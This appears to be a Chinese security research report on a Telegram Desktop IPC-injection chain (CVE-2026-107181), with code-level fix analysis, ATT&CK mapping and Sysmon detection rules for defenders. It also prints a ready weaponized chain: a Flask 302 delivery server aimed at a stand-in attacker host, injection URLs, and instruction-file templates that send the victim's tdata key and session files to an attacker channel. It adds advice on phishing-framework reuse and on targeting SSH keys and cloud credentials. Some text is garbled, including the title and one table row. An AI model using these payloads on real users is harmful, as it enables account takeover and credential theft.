CVE-2026-107181 Telegram Desktop 一键账户接管
网安之家
网安之家
乌雲安全
2026年10月10日 10:47
重庆
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
CVE-2026-107181 研究报告:Telegram Desktop 一键账户接管(IPC 记录注入链)
研究对象:BeakSec 公开披露的 Telegram Desktop 单实例 IPC 注入漏洞链(CVE-2026-107181,原文 \"Telegram Desktransform: translateY( one-click account takeover via IPC injection\",CC BY 4.0)
审计方法:披露原文全篇精读 + 对 telegramdesktop/tdesktop 官方仓库的独立一手核验(修复提交 db3405699f、v7.2.9 标签、修复前后源码逐行比对)+ OS/Qt 机制推理
报告日期:2026-10-09
写作规范:writing-helper(写给授权红队/蓝队成员的桌面研究报告;正式技术体;事实优先;证据边界显式声明)
证据分级约定:【披露】= 来自 BeakSec 原文(含其对 Telegram 源码的引用);【已核验】= 本报告直接在官方仓库一手确认;【推断】= 基于 Win32/Qt 公开机制的标准推理;【未核验】= 明确标注。全文没有一个未标注的\"事实\"。
0. TL;DR
这不是\"工具\",是一条从一次点击到账户接管的完整漏洞链,两个缺陷首尾相接:
- 1. 记录分隔符未转义(IPC 注入):Telegram Desktop 的单实例机制把点击的链接序列化成
OPEN:tg://...;格式的文本行,经本地 socket 交给已运行实例;已运行实例按分号切割记录。链接值里的分号不被转义——一条指令变多条。一次点击变成一串命令。 - 2. 内部 URI scheme
interpret:缺失鉴权(CWE-862):这是 Telegram 官方发布自动化的遗留工具——读一个指令文件,把file:指定的任意文件发送到channel:指定的频道,不校验调用者、不弹确认。经OPEN:可达。
两个缺陷叠加 = 点击一个链接 → 任意本地文件读取 → 文件被传到攻击者的频道。最终目标:tdata/ 里的三件套——默认无本地口令时,读到 key_datas 即可解出 DEK,进而解密会话授权,直接登录受害者账号。
已核验:修复提交 db3405699f8fc3ae28a58d2348b7d13a43c0590a(\"Remove legacy interpret path helper.\",John Preston,2026-09-16)真实存在,diff +126/−372;v7.2.9 中 interpret 在四个核心源文件中残留为 0;新增 EscapeTo7bit/EscapeFrom7bit 百分号转义与\"外部 URL 出现后丢弃本地路径\"的纵深防御。CVSS 8.1(AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N),分量给得诚实。
1. 对象定性:名字里的三层寓意
1.1 先定性
研究对象由三部分组成:披露文章(BeakSec 博客)、漏洞链(CVE-2026-107181)、官方修复(tdesktop commit db3405699f)。没有可下载的\"攻击工具\"——PoC 以叙事形式写在披露文里,载荷就是一行 URL。审计框架因此与扫描器/C2 完全不同:核验链条每一环的代码证据。
1.2 名字寓意(三层解码)
第一层:CVE 编号。CVE-2026-107181——2026 年分配,五位数序号说明当年分配量已过十万(编号空间扩张本身就是近年漏洞生态的注脚)。编号 10-07 才到,晚于发文(10-03)——披露先于编号,这是\"研究者独立披露权\"路径(ZDI 关案后披露权回归作者)的典型时间差。
第二层:interpret: 这个 scheme 名。 它是全链条最有意思的名字:不是黑客起的,是 Telegram 自己起的。interpret = \"解释/执行\",语义是\"解释这份指令文件并执行\"——函数名如实描述了行为的危险程度,危险到名字就是警告。它是官方发布脚本(Telegram/build/updates.py:206,subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath + '/.../command.txt')【披露】)的遗留通道:发版机器人用它把构建产物发到官方频道。作者删它而不是修它——commit 标题 \"Remove legacy interpret path helper\" 里 \"legacy\" 一词就是判决书。
第三层:one-click account takeover。 \"one-click\" 在漏洞分类学里对应 CVSS 的 UI:R(需要用户交互)——标题在告诉你这漏洞的最高门槛就是受害者的一次点击。而账户接管的物证是 tdata 三件套,三个文件名本身就是梗:D877F783D5D3EF8C 这个\"看似随机\"的目录名其实是从字符串 \"data\" 经固定算法派生的全宇宙恒定值(storage_file_utilities.cpp:241-250【披露】)——换个说法:所有 Telegram Desktop 用户的会话文件都在同一条路径上。
1.3 受影响面
| 项 | 值 |
|---|---|
| 产品 | Telegram Desktop(跨平台 Qt 应用) |
| 受影响 | ≤ 7.2.8;Windows 6.9.3 上确认【披露】 |
| 修复 | 7.2.9(commit db3405699f,2026-09-16 修复,9-17 发布)【已核验】 |
| CVE | CVE-2026-107181(2026-10-07 分配)【披露】 |
| 严重度 | 8.1 High,CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N【披露】 |
2. 为何诞生:一个\"发布工具\"怎么变成攻击通道
interpret: 的诞生动机是纯粹的工程懒惰红利:Telegram 每次发版要把构建包+更新日志发到官方频道,人肉操作太繁琐,于是写个文本协议(from:/channel:/file:/caption: 四行),让 Telegram 自己解释执行。这个设计在命令行调用的前提下没有问题——能用命令行的攻击者本来就有本机权限,不需要借道。
它的死因是上下文迁移:同一个无鉴权函数,从\"本机运维通道\"被接到了\"网络可达的 IPC 面\",威胁模型瞬间反转。加上单实例 IPC 的分隔符注入作为\"入口导线\",一次点击就能触达。作者在披露文里对这层关系的定性精确到位:\"a dangerous function becomes available from a link the victim clicks\"。
披露时间线(全部【披露】,修复方信息【已核验】):
| 日期 | 事件 |
|---|---|
| 2026-06-25 | 经 ZDI 报告 |
| 2026-09-16 | 厂商独立修复(commit db3405699f,作者 John Preston,信息 \"Remove legacy interpret path helper.\")【已核验】 |
| 2026-09-17 | 7.2.9 发布(changelog 只提了一个渲染修复,静默修复) |
| 2026-09-30 | ZDI 关案,披露权回归作者 |
| 2026-10-03 | BeakSec 发文 |
| 2026-10-07 | CVE-2026-107181 分配 |
一个值得记录的细节:修复在 ZDI 流程走完前就\"悄悄\"落地,7.2.9 更新日志只字未提安全修复,无 advisory——对用户是提前安全,对研究者是披露权提前回归,两头的博弈都在这张时间表里。
3. 漏洞原理:八层抽丝剥茧
3.1 L1 URI scheme 注册与进程模型——操作系统怎么把链接送到 Telegram
OS 允许程序注册 URI scheme。Telegram Desktop 注册 tg:,此后 Windows 遇到 tg://... 链接就启动(或唤起)Telegram 并把 URL 作为参数传入【披露】。机制层【推断】:注册表 HKEY_CLASSES_ROOT\\tg\\shell\\open\\command 下形如 \"C:\\...\\Telegram.exe\" -- \"%1\" 的映射;浏览器对 tg:// 链接的导航 → shell ShellExecute → CreateProcess 把 URL 塞进新进程命令行。
关键分叉:如果 Telegram 没在运行,新进程自己处理 URL,进程内消化,没有 IPC 面;如果已在运行,OS 不知道也不检查,照样拉起第二个进程——Telegram 必须自己判断\"我是冗余的\",判断方式就是尝试连接本地 socket。连得上 = 有活着的实例 = 把链接交出去然后自杀。
3.2 L2 序列化边界——对象过不了 socket,字节才能
\"socket 不携带对象,只携带字节\"【披露】。新进程内存里的 QUrl 对象必须拍扁成一行文本(序列化)才能过进程边界;运行实例再从文本重建(反序列化)。披露文把要害点得极准:结构化数据跨界时,数据内部的边界不再由结构持有,而降格成了文本里的普通字符。这一降格就是全链路的总根源。
Telegram 的私有格式:每条记录 = 关键字:参数;。链接被包装为:
OPEN:tg://x?a=1;
构造点(sandbox.cpp:295-297【披露】):
for (const auto &url : cRefStartUrls()) {
commands += u\"OPEN:\"_q + url.toString(QUrl::FullyEncoded) + ';';
}
【已核验】修复前源码中该模式确认存在;修复后对应行为被 EscapeTo7bit 包裹(见 §6.2)。
3.3 L3 记录注入——\"命令注入\"的 IPC 变体
切割点(sandbox.cpp:453-463【披露】,修复前快照实测约 520 行【已核验,行号漂移见 §6.1 脚注】):
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
auto cmd = base::StringViewMid(cmds, from, to - from);
...
} else if (cmd.startsWith(u\"OPEN:\"_q)) {
startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));
注入演示(【披露】原例):
输入链接: tg://x?a=1;CMD:quit
新进程视角: 一个 URL(分号只是 query 里的普通字符)→ 写入 socket:
OPEN:tg://x?a=1;CMD:quit;
运行实例切割: OPEN:tg://x?a=1 + CMD:quit ← 两条记录
缺陷命名学:这是教科书 command injection 的近亲——本报告称之 IPC 记录注入。准确 CWE 归类是 CWE-147(Improper Neutralization of Input Elements for Selecting Commands or Subsequent Text,即\"分隔符未转义\"类)。修复后代码注释自己承认了这个威胁模型:\"the sender failed to escape the record separator and a crafted url smuggled extra records\"【已核验,v7.2.9 sandbox.cpp 注释】。
本报告独立发现的一条补充【已核验】:修复前的记录关键字不止 OPEN:/CMD: 两个,还有:
- •
XDG_ACTIVATION_TOKEN:——base64 解码后qputenv写入进程环境变量(Linux 激活令牌); - •
CTRL:——带execExternal/响应回写的控制记录。
即注入面比披露文描述的更宽;只是 Windows 攻击链用不上它们。
3.4 L4 无 scheme 过滤的 OPEN: → 内部 scheme 暴露
四个记录关键字里三个无害(CMD: 只收 show/quit,最坏是关掉应用【披露】),OPEN: 收任意 URL 且不过滤 scheme。而 Telegram 内部还藏着一个 OS 不知道的 scheme(application.cpp:1162-1164【披露】;修复前快照实测 1231-1237【已核验】):
if (url.scheme() == u\"interpret\"_q) {
interprets.append(url.path());
return false;
它没在 OS 注册协议处理器,只活在 Telegram 自己的启动 URL 分发逻辑里。于是经注入可达:
tg://x?a=1;OPEN:interpret:instructions.txt
3.5 L5 InterpretSendPath——缺失授权的特权动作
这个函数做的事:读指令文件 → 把 file: 指的文件发到 channel: 指的频道(support\_helper.cpp:673-680【披露+已核验,逐字一致】):
QString InterpretSendPath(
not_null<Window::SessionController*> window,
const QString &path) {
QFile f(path);
if (!f.open(QIODevice::ReadOnly)) {
return \"App Error: Could not open interpret file: \" + path;
}
const auto content = QString::fromUtf8(f.readAll());
没有任何授权检查:不校验 from:(那行只是防发版员用错账号的可选保险,省略即跳过【披露】)、不弹确认框、目标频道任意。从命令行调它无妨(有本机权限者不需要它);从被注入的 IPC 调它,就是网络可达的任意文件外传。第二缺陷定性:CWE-862(Missing Authorization)。
指令文件格式(【披露】原样):
from: 1234567890 ← 可选;省略 = 跳过账号比对
channel: 1987654321 ← 目标频道/超级群
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe ← 要外传的文件
caption: TDesktop at 12.06.26: ... ← 消息标题
格式硬约束:纯文本、LF 行尾、无 BOM【披露】——这是写复现与检测规则时的关键指纹。
3.6 L6 文件落盘通道——让受害者的客户端替攻击者投递载荷
interpret: 需要一个磁盘上的指令文件。攻击者怎么把文件放到可预测路径?答案是用 Telegram 自己:
- • 群组(非广播频道)默认自动下载 ≤ 8 MiB 的文件,不需要受害者点击文件,落盘名 = 发送者起的文件名,路径确定(file\_utilities.cpp:172-181【披露】):
C:\\Users\\<user>\\Downloads\\Telegram Desktop\\<file name> - • 唯一未知量是 Windows 用户名——被相对路径化解:
interpret:接受相对路径,按 Telegram 的工作目录解析,而工作目录是其数据目录(logs.cpp:381【披露】)%APPDATA%\\Telegram Desktop(在用户主目录下三层)。于是:
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
不需要知道用户名,路径完全确定。这一层是全链路工程上最优雅的一步:受害者自己的客户端同时充当了\"载荷投递器\"和\"路径预言机\"。注意反例边界【披露】:贴纸/GIF/语音走内部缓存不可达;同名碰撞会变成 instructions1 (2).txt。
3.7 L7 从文件读到账户接管——tdata 密钥包装体系
本地文件读只是原语,真正的目标是会话。Telegram 本地数据全加密,密钥包装结构(【披露】的伪代码):
salt, encrypted_DEK = read(\"tdata/key_datas\")
passcode = user_passcode() # 未设置则为空
KEK = KDF(passcode, salt)
DEK = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)
致命默认:本地口令默认未设置(storage\_domain.cpp:102【披露】),KDF 输入是空串+盐,而盐明文躺在 key_datas 里。所以:
读到 key_datas ⇒ 重算 KEK ⇒ 解出 DEK ⇒ 解密一切 ⇒ 含会话授权
三件套(【披露】原样):
tdata/
├── key_datas 盐 + 加密的 DEK ← 读它一个就够
├── D877F783D5D3EF8Cs MTProto 会话授权(DEK 加密)
└── D877F783D5D3EF8C/
└── maps 数据索引(无密文,但缺了会话加载不出来)
D877F783D5D3EF8C 是从默认数据名 \"data\" 派生的恒定值(storage\_file\_utilities.cpp:241-250【披露】)——所有安装一致,路径预言机再+1。maps 只是索引,攻击者也可以自造;PoC 里顺手一起偷,图省事。集齐三件 → 放进新 tdata → 启动 → 受害者的会话在攻击者机器上打开,等价于网站会话 cookie 被偷。
3.8 L8 交付链——为什么是\"https 链接 + 302\"
最后一个工程问题:tg:// 链接不能在 Telegram 聊天里点(进程内处理,click\_handler\_types.cpp:278【披露】),根本到不了 socket。解法:发普通 https:// 链接(Telegram Desktop 无内嵌浏览器,走系统浏览器,ui\_integration.cpp:437【披露】),攻击者服务器 302 跳转到构造好的 tg:// 链接:
GET /rules HTTP/1.1
Host: corvus.sec
HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt
浏览器可能弹一次\"打开 Telegram?\"确认(取决于浏览器与是否用过该 handler)——这就是 CVSS 里 UI:R 的一次点击成本。
完整链条图:
[1] 攻击者建群+拉受害者入群(默认隐私设置允许)
[2] 群里发 3 个指令文件(自动下载落盘,无需点击)
[3] 群里发 https://corvus.sec/rules
[4] 受害者点击 → 浏览器 → 302 → tg://x?a=1;OPEN:interpret:...×3
[5] OS 拉起第二进程 → 单实例 socket 移交 → 分号切割 → 注入生效
[6] 3×InterpretSendPath → tdata 三件套上传到攻击者频道(无确认框)
[7] 攻击者重组 tdata → 登录受害者账号
4. 操作系统调用层分析(Windows 为主)
披露原文停在 Qt API 层,本节把链条映射到 OS 原语【推断——基于 Win32/Qt 公开机制,未做动态取证,复现时以 Sysmon/Procmon 实测为准】:
| 链条动作 | Qt 层 | Windows OS 调用 | 观测点 |
|---|---|---|---|
tg:// 链接启动进程 |
QDesktopServices /shell 协议注册 |
注册表 HKCR\\tg\\shell\\open\\command → ShellExecuteEx → CreateProcess(URL 在命令行参数里,Sysmon EID 1 可见) |
进程创建事件:命令行含 tg:// 且父进程为浏览器 |
| 第二进程探活 | QLocalServer/QLocalSocket (Windows 实现 = 命名管道) |
CreateNamedPipe / CreateFile(\\\\.\\pipe\\...) + ReadFile/WriteFile |
管道句柄打开;ETW/Procmon 可见跨进程管道流量 |
| 链接序列化写入 | QIODevice::write |
同上 WriteFile |
管道单次写入含 OPEN: 前缀与未转义分号 |
| 读指令文件 | QFile::open(ReadOnly) |
CreateFile + ReadFile(目标在 Downloads\\Telegram Desktop\\) |
文件读取时序:下载后数秒内被 Telegram 自身读取 |
| 相对路径解析 | 工作目录 = 数据目录(logs.cpp:381【披露】) | GetCurrentDirectory 语义按进程 CWD 展开 ../.. |
目录遍历无 OS 阻断(相对路径不出盘符) |
| 文件自动落盘 | 下载管理器写盘 | CreateFile (Downloads\\Telegram Desktop\\)+ WriteFile |
EID 11(文件创建):群文件落地即告警点 |
| 会话外传 | MTProto 会话经 TLS 长连接 | WSASend (已有连接复用,无新建 socket 特征) |
上传流量突变:三小文本文件在点击后秒级上行 |
两个安全机制为何没拦住:cwd 相对路径在 Win32 层面是完全合法的目录遍历(不触碰盘符根,不触发符号链接防护);命名管道是同用户会话内进程间通信,默认 ACL 下同完整性级别的 Telegram 两个进程互通无阻——沙箱边界从设计上就不存在于\"自己和自己\"之间。
5. 漏洞类型与 CVSS 审视
CWE 归类(本报告裁定):
| 缺陷 | CWE | 说明 |
|---|---|---|
| 分隔符未转义 | CWE-147 (记录/命令选择元素未中和) | 注入本体;博主称 \"command injection\" 的 IPC 变体 |
| interpret: 无鉴权 | CWE-862 (Missing Authorization) | 特权函数无调用者校验 |
| 组合后果 | CWE-200 级(信息泄露)→ CWE-284(访问控制) | 文件读→凭据窃取→账户接管 |
CVSS 3.1 = 8.1(AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)——逐分量裁定:
- •
AV:N✓:入口是网络链接(点击行为,非本机)。 - •
AC:L✓:无竞态、无特殊配置依赖,全默认设置即可打。 - •
PR:N✓:不需要任何凭据。 - •
UI:R✓:需要一次点击——诚实扣在这里。 - •
S:U✓:影响限于受害者本人权限域。 - •
C:H✓:任意文件读 + 会话文件 = 高机密性损失。 - •
I:H✓:账户接管 = 攻击者以受害者身份发言/操作——完整性损失实打实。 - •
A:N✓:不破坏可用性——诚实(对比上份报告里 mysqldump 8.8 的 C:H/I:H 争议,这次的分量给得干净)。
6. 源码审计:修复 diff 逐行点评(一手核验)
6.1 核验过程与行号脚注
本报告直接从官方仓库拉取修复提交的父提交(db3405699f^)与 v7.2.9 标签源码比对【已核验】。披露文引用的行号与修复前快照存在小幅漂移(sandbox.cpp 453→约520、application.cpp 1162→1231;support\_helper.cpp 673 完全一致)——披露作者看的是另一版快照,代码内容逐字一致,不影响结论。
修复提交变更面:application.cpp(+2/−7)、sandbox.cpp(+114/−25)、sandbox.h(+5/−1)、mainwidget.*、mainwindow.*(interpret 分发移除),合计 +126/−372;interpret 在四个核心文件中归零【已核验】。
6.2 修复一:记录转义(对症 CWE-147)
新增 EscapeTo7bit/EscapeFrom7bit(v7.2.9 sandbox.cpp:67-108【已核验】):
[[nodiscard]] QString EscapeTo7bit(const QString &value) {
...
if (code < 32 || code > 127 || ch == QChar('%') || ch == QChar(';')) {
result.append('%');
result.append(HexDigit(code >> 12)); // 4 位 hex,Unicode 码点级
...
三个值得点评的实现决策:
- 1.
;与%同时转义——只转义分隔符会留下解码歧义(攻击者预放%3B可在解码后重新变成分号),转义转义符本身是编码注入修复的标准姿态; - 2. 4 位定长 hex(而非变长
%XX)——Unicode 码点无歧义还原,surrogate 对也安全; - 3. 控制字符一并转义(
code < 32)——顺手封死\类二次注入。
写侧:\"OPEN:\" + EscapeTo7bit(url...) + ';'(sandbox.cpp:416);读侧:urls.append(EscapeFrom7bit(cmd.mid(5)).mid(0, 8192))(sandbox.cpp:601)。8192 上限保留——原有截断语义不变。
6.3 修复二:删除 interpret:(对症 CWE-862)
InterpretSendPath 及 interpret 分发整体移除(\"Remove legacy interpret path helper\")——不修死,直接埋葬。对\"内部遗留工具被网络化\"类缺陷,这是唯一正解:任何\"加白名单/加确认框\"的修法都会在未来的上下文迁移中再死一次。
6.4 修复三/四:纵深防御(超出披露要求的加分项)
v7.2.9 sandbox.cpp:613-631【已核验】,含作者注释:
} else if (cmd.startsWith(u\"CTRL:\"_q)) {
if (hasOpen) {
continue; // 同连接混入 OPEN: 时丢弃 CTRL:
}
...
// A link launch carries a single non-file url and a send-files
// launch carries only local paths, so a connection mixing both
// means the sender failed to escape the record separator and a
// crafted url smuggled extra records. ...
for (constauto &url : urls) {
if (!url.isLocalFile()) {
i->externalUrlReceived = true;
}
}
...
if (i->externalUrlReceived && url.isLocalFile()) {
LOG((\"Sandbox Warning: local file dropped, ...\")); // 外部 URL 出现后,本地路径永久丢弃
continue;
注释把不变量写明白了:正常启动要么单外链、要么纯本地路径,混合出现 = 分隔符被走私。这是把\"协议不变量监控\"做成了运行时防线——即使未来再出现转义旁路,注入产物也到不了文件路径参数。安全工程里少见的自我怀疑式防御,值得抄进任何多记录 IPC 协议的设计规范。
6.5 审计结论
修复四件套(转义 + 删除 + CTRL 门禁 + 本地路径丢弃)构成\"对症 + 根治 + 两层纵深\"的完整闭环,质量高于一般厂商补丁。遗留面:XDG_ACTIVATION_TOKEN: 记录仍是 base64→环境变量注入(本报告发现,披露未提),修复未动它——Linux 场景的后续观察点。
7. 前世今生:同类谱系与历史定位
IPC/协议处理器注入家族:桌面应用自定义 scheme(tg:///slack:///zoommtg:///steam://)作为\"浏览器→本地应用\"桥,近十年的经典缺陷类是命令行参数注入(scheme 值未转义拼进命令行)与单实例移交注入(本次即此类)。检索关键词:custom URL protocol handler argument injection、single-instance IPC injection。本例的特殊性在于第二跳:注入点后面接的不是\"参数注入进子命令\",而是一个货真价实的特权内部功能。
\"遗留内部功能被网络化\"家族:debug 接口、发布通道、运维后门被接到可达面——Redis 未授权写、Jenkins CLI、devtools 端口。interpret: 是这个家族里少见的\"以 URI scheme 形态存在\"的样本。
本地会话凭据窃取家族:浏览器 Cookie 数据库(DPAPI 解密)、SSH agent 转发滥用、Telegram tdata——本链属于最后者,且是远程化版本:传统 tdata 窃取需要本机落地(红队后渗透),这条链把它变成\"一次点击的远程攻击\"。这是它在 MITRE ATT&CK 里的定位【本报告映射,推断】:
| ATT&CK 技术 | 编号 | 对应链条环节 |
|---|---|---|
| Phishing: Spearphishing Link | T1566.002 | https 链接 + 302 |
| Command and Scripting Interpreter(IPC 记录注入变体) | T1059 类比 | 分号走私 |
| Unsecured Credentials: Credentials in Files | T1552.001 | tdata 三件套 |
| Credentials from Password Stores | T1555 | key\_datas/DEK 解包 |
| Exfiltration Over C2 Channel | T1041 | 经 MTProto 会话外传到攻击者频道 |
8. 落地实网攻防
8.1 红队(授权演练视角)
- • 前置:自建频道/超级群 + 302 服务器;目标使用 ≤7.2.8 且群组自动下载默认开启。
- • 与钓鱼框架的接缝:Gophish/GoMet 类框架的 302 跳转模块原生支持本链——把
Location:换成构造 URL 即可;GoPhish 的邮件场景同样适用。 - • 目标变体(同一原语换
file:行):SSH 私钥、浏览器凭据库、云 CLI 凭据(~/.aws/credentials)、CI token 配置。 - • 纪律:仅授权环境;链路含真实账户接管,演练需书面授权与演练后凭证吊销流程。
8.2 蓝队
检测点(对应 §4 表):
-
- Sysmon EID 1:浏览器进程创建 Telegram.exe 且命令行含
tg://且 URL 带%3B/未编码分号序列——强 IOC;
- Sysmon EID 1:浏览器进程创建 Telegram.exe 且命令行含
-
- Sysmon EID 11:
Downloads\\Telegram Desktop\\落地.txt且秒级被 Telegram 进程读取(EID 10/进程+文件访问);
- Sysmon EID 11:
-
- 管道异常:Telegram 进程间单实例管道上的多记录写入(Procmon Filter:
Path contains \\pipe\\+ Telegram.exe);
- 管道异常:Telegram 进程间单实例管道上的多记录写入(Procmon Filter:
-
- 网络侧:点击后秒级、小体积、多对象的 MTProto 上行突发;
-
- 终态 IOC:陌生设备登录告警(会话被克隆的必然残留)。
加固四条(披露原文的缓解排序,本报告认可):
- 1. 升级 ≥7.2.9——唯一根治;
-
- 开启\"每个文件询问保存位置\"——自动下载整体关闭,指令文件落不了地(升级前最有效);
-
- 群组隐私设为\"仅联系人可拉群\"——外传目的地(频道/超级群)不受影响,但收件入口被锁;
- 4. 设置本地口令且当真密码用——文件照样被偷,但 KEK 推导失效,偷到的会话是密文废纸(披露原话:\"it only makes the stolen session unusable\")。
应急响应(已中招):所有活跃会话终止(Settings→Devices→Terminate)+ 两天内重置口令(Telegram 两步验证重置会踢会话)+ 排查外传目标频道内容。
9. 冷门但准确无误的命令语法(本链条相关面)
| 语法 | 冷知识 |
|---|---|
start \"\" \"tg://x?a=1\" |
Windows 手动触发 scheme;空标题参数不能省,否则第一个引号串被当窗口标题 |
reg query HKCR\\tg\\shell\\open\\command /ve |
查看 scheme→exe 映射与参数模板(%1 位置决定注入面) |
reg query \"HKCU\\Software\\Classes\\tg\" |
用户级注册可能覆盖机器级——排查劫持点 |
Get-ChildItem \\\\.\\pipe\\ (PowerShell) |
枚举命名管道;Telegram 单实例管道可在多实例实验中直接观察 |
pipelist64.exe (Sysinternals) |
同上,带句柄计数 |
curl -sI https://host/path |
验证 302 链路,Location: 头即载荷——红队自检/蓝队巡检两用 |
%20 |
URL FullyEncoded 空格——Telegram%20Desktop 路径写法的出处(QUrl::FullyEncoded 语义) |
%3B |
分号的百分号编码——检测规则里识别\"试图走私分号\"的指纹 |
| `printf 'channel: ...\ | |
| file: ...\ | |
| ' | unix2dos` |
wmic process where \"name='Telegram.exe'\" get commandline |
无 Sysmon 时的快速命令行审计 |
$env:APPDATA\\Telegram Desktop\\tdata |
tdata 默认位置(PowerShell);蓝队资产盘点入口 |
Sysmon EID 1/3/11 |
进程创建/网络连接/文件创建——本链三大观测点 |
Get-Content key_datas -Encoding Byte -TotalCount 16 |
鉴别 tdata 文件魔数(防御盘点用,勿外传) |
10. Cheatsheet:命令配方(参数 = 可编程功能模块)
10.1 模块映射总表
| 功能模块 | 旋钮 | 语义 |
|---|---|---|
| 载荷体 | tg:// 链接的记录序列 |
每个分号 = 一条指令的分界 |
| 载荷内容 | OPEN: 后的 URL(≤8192 字符截断) |
scheme 决定行为(http/interpret/…) |
| 外传指令 | instruction 文件四字段 | from: (可省)/channel:/file:/caption: |
| 投递器 | 受害者客户端自动下载(群组 ≤8MiB、原名落盘) | 文件名 = 路径预言机 |
| 路径归一 | 相对路径 + 工作目录=数据目录 | ../../../Downloads/... 免用户名 |
| 触发器 | 302 Location: |
https→tg:// 的桥 |
| 格式约束 | LF、无 BOM、纯文本 | 指令文件解析前提 |
| 检测面 | Sysmon 1/3/11 + 管道 + MTProto 上行 | 蓝队三件套 |
10.2 配方(授权研究语境)
R1 · 防御侧版本与暴露面盘点
# 受害主机快速体检(防御用途)
(Get-Item \"$env:APPDATA\\Telegram Desktop\\Telegram.exe\" -EA SilentlyContinue).VersionInfo.ProductVersion
reg query HKCR\\tg\\shell\\open\\command /ve
Test-Path \"$env:APPDATA\\Telegram Desktop\\tdata\\key_datas\" # 存在即默认口令风险面
R2 · scheme 链路自检(红蓝通用)
start \"\" \"tg://x?a=1\" # 观察: 已运行实例被唤起/新进程秒退
wmic process where \"name='Telegram.exe'\" get commandline,creationdate
# 防御判定: 命令行含完整 URL = 单实例移交机制在位(7.2.9 前后均如此)
R3 · 注入载体格式验证(不发真实指令文件)
无害探针(对测试机): tg://x?a=1;CMD:show
# 7.2.8: 实例被激活(show 窗口前置) → 证明分号走私生效
# 7.2.9+: 转义后整串作为 URL 处理 → 无前置行为
R4 · 指令文件格式校验器(复现前自检)
f=instructions.txt
file \"$f\" | grep -q BOM && echo \"FAIL: 有BOM\"
od -c \"$f\" | grep -q '\\\\r' && echo \"FAIL: CRLF\"
head -c4 \"$f\" | od -An -tx1 | grep -q 'ef bb bf' && echo \"FAIL: UTF-8 BOM\"
grep -E '^(channel|file|caption):' \"$f\" >/dev/null && echo OK
R5 · 302 投递器(5 行 Flask)
from flask import Flask, redirect
app = Flask(__name__)
PAYLOAD = \"tg://x?a=1\" + \"\".join(
f\";OPEN:interpret:../../../Downloads/Telegram%20Desktop/{n}.txt\"
for n in (\"instructions1\",\"instructions2\",\"instructions3\"))
@app.route(\"/rules\")
def r(): return redirect(PAYLOAD, 302)
app.run(\":443\", ssl_context=(\"cert.pem\",\"key.pem\"))
R6 · Sysmon 检测规则(核心两条)
<!-- EID1: 浏览器拉起 Telegram 且 URL 含走私分号 -->
<RuleGroup name=\"\" groupRelationship=\"or\">
<ProcessCreate onmatch=\"include\">
<Image condition=\"end with\">Telegram.exe</Image>
<CommandLine condition=\"contains\">tg://</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- EID11: Telegram Desktop 下载目录新建 .txt -->
<FileCreate onmatch=\"include\">
<TargetFilename condition=\"contains\">Downloads\\Telegram Desktop\\</TargetFilename>
<FileExtension condition=\"is\">txt</FileExtension>
</FileCreate>
R7 · 管道流量取证
Get-ChildItem \\\\.\\pipe\\ | Where-Object Name -match telegram
# Procmon: Filter Path contains \\pipe\\, Operation = WriteFile → 双进程移交现场
R8 · 多目标堆叠模板(授权演练,3 文件版)
载荷 = \"tg://x?a=1\"
+ \";OPEN:interpret:../../../Downloads/Telegram%20Desktop/ins1.txt\"
+ \";OPEN:interpret:../../../Downloads/Telegram%20Desktop/ins2.txt\"
+ \";OPEN:interpret:../../../Downloads/Telegram%20Desktop/ins3.txt\"
ins1: file: ../../../tdata/key_datas ← 相对数据目录自身的相对路径亦可(待实测)
ins2: file: ../../../tdata/D877F783D5D3EF8Cs
ins3: file: ../../../tdata/D877F783D5D3EF8C/maps
channel: <授权接收频道>
R9 · 溢出边界测试(8192 截断行为)
长路径探针: tg://x?a=1;OPEN:interpret: + 'A'*8300 + '.txt'
判定: >8192 段被 mid(0,8192) 截断 → 路径失效 → 无文件读取
用途: 验证修复/检测规则时排除超长路径假阳性
R10 · 应急处置剧本(已中招)
# 1. 受害者全端下线该账号 → Settings → Devices → Terminate all other sessions
# 2. 两步验证口令重置(触发全会话失效)
# 3. 排查上传: 受害者账号的 Sent/频道历史中是否存在 caption=poc 类小文件消息
# 4. 终端侧: 检查 Downloads\\Telegram Desktop 下 instruction*.txt 与创建时间线
R11 · 蓝队 IOC 速查
- Telegram.exe < 7.2.9 → 版本盘
- 命令行含 tg:// 且含未编码 ';' → 注入尝试
- Downloads\\Telegram Desktop\\*.txt 秒读 → 指令文件落地
- 点击后秒级 3-6 KB×N 上行 → 外传突发
- 陌生地域会话登录 → 接管终态
R12 · 复现实验台(无受害者,本地双实例)
1. 测试机装 6.9.3(披露确认版本)+ 测试账号 A/B
2. A 建 supergroup 拉 B;A 发 3 个指令文件(channel=A 的群, file=无害占位文件)
3. B 侧开启 Procmon(管道+文件过滤) → B 点 302 链接
4. 观测: 管道 WriteFile 记录序列 / instructions*.txt 的 CreateFile+ReadFile 对
5. 全程录屏留证; 结束后 Terminate 全部会话
11. AI 辅助头脑风暴与多版本对比
11.1 投递渠道对比(触发器模块选型)
| 渠道 | UI 成本 | 可达性 | 检测暴露 | 裁定 |
|---|---|---|---|---|
| https→302→tg:// ★披露采用 | 1 点击 + 可能的浏览器确认 | 任何聊天窗口 | 302 日志 + EID1 | 最优通用解 |
| 邮件正文直发 tg:// | 1 点击 | 邮件客户端→浏览器路径不一 | 邮件网关可拦 tg:// | 备选 |
| 网页内 `` | 1 点击 | 与 302 等价但需落地页 | 同 302 | 等价 |
| 二维码(线下场景) | 扫码 | 物理场景 | 无浏览器日志 | 特定场景 |
11.2 修复方案四选一(若不删除 interpret:)
| 方案 | 对症 | 残余风险 | 裁定 |
|---|---|---|---|
| 分隔符转义 ★采纳(EscapeTo7bit) | CWE-147 | 解码歧义需转义 '%' 防护(已做) | 必要非充分 |
| scheme 白名单(只放 http/https) | 入口收窄 | 内部 scheme 仍无鉴权,等下一次暴露 | 不彻底 |
